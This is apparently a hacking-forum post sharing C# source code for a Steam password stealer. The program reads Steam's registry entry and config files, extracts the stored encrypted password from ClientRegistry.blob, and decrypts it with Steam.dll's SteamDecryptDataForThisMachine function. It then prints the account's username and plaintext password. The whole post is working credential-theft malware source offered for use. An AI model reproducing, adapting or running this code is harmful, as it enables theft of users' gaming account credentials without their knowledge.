[C# Source] - Steam Decryption

[Sawyer]

Autor: lolita & t0fx
Quelle: HackHound.org (http://free-hack.com/HackHound.org)


namespace steam_decrypt
{
class Program
{
[DllImport("Steam.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int SteamDecryptDataForThisMachine(string encryptedData, int encryptedDataSize, StringBuilder decryptedBuffer, int decryptedBufferSize, ref int decryptedDataSize);
static void Main(string[] args)
{
try
{
RegistryKey rksteam = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Valve\\Steam", true);
if (rksteam != null)
{
string steaMpath = (string)rksteam.GetValue("SteamPath");
if (File.Exists(Environment.CurrentDirectory + "\\Steam.dll") == false)
{
File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
}
string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
for (int pos = 0; pos < data.Length; pos++)
{
if (data[pos].Contains("User"))
{
string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
if (info[2] != null)
{
string username = info[2].TrimEnd('"').TrimStart('"');
Console.WriteLine("Username : " + username);
}
}
}
string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
int Phrase;
Phrase = sInhalt.IndexOf("Phrase", 1);

sInhalt = Mid(sInhalt, Phrase + 40);

string encpwd = Left(sInhalt, 92).Trim();
int decryptedDataSize = 0;
StringBuilder pwd = new StringBuilder();
pwd.Length = encpwd.Length / 2;
if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
{
Console.WriteLine("Password : " + pwd);
}
else
{
Console.WriteLine("error : Error decrypting the Steam Password.");
}
}
Console.ReadLine();
}


catch (Exception g)
{
try
{
const string steaMpath = ("@C:\\Program Files\\Steam");
File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
for (int pos = 0; pos < data.Length; pos++)
{
if (data[pos].Contains("User"))
{
string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
if (info[2] != null)
{
string username = info[2].TrimEnd('"').TrimStart('"');
Console.WriteLine("Username : " + username);
}
}
}
string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
int Phrase;
Phrase = sInhalt.IndexOf("Phrase", 1);

sInhalt = Mid(sInhalt, Phrase + 40);

string encpwd = Left(sInhalt, 92).Trim();
int decryptedDataSize = 0;
StringBuilder pwd = new StringBuilder();
pwd.Length = encpwd.Length / 2;
if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
{
Console.WriteLine("Password : " + pwd);
}
else
{
Console.WriteLine("Error decrypting the Steam Password.");
}
Console.ReadLine();
}


catch (Exception h)
{
Console.WriteLine("Steam not installed or password not stored");
}
}
}

public static string Left(string param, int length)
{
string result = param.Substring(0, length);
return result;
}
public static string Mid(string param, int startIndex)
{
string result = param.Substring(startIndex);
return result;
}

}
}